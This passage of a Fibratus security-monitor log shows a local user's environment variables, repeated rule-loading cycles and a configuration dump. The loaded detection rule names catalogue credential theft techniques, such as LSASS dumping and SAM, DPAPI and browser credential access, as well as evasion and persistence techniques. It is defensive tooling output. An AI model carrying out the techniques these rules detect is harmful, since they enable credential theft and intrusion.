Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-10T17:49:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:49:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:49:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:51:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:51:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T17:51:42+01:00 level=info msg=bootstrapping with pid 12008. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:51:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 stack-enrichment=>true enable-vamap=>true enable-net=>true enable-registry=>true enable-handle=>false max-buffers=>36 enable-mem=>false enable-image=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true min-buffers=>16 enable-dns=>false enable-threadpool=>false enable-fileio=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 level=>info formatter=>text max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ timeout=>5s tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient durable=>false exchange-type=>topic enabled=>false exchange=>fibratus passive=>false url=>amqp://localhost:5672 routing-key=>fibratus] elasticsearch=>[ enabled=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s timeout=>5s sniff=>false healthcheck-interval=>10s trace-log=>false gzip-compression=>false template-name=>fibratus bulk-workers=>1 healthcheck=>true index-name=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ method=>POST serializer=>json endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false fastscan=>true enabled=>false skip-allocs=>false skip-registry=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:51:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:51:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:52:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:52:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:52:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:53:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from 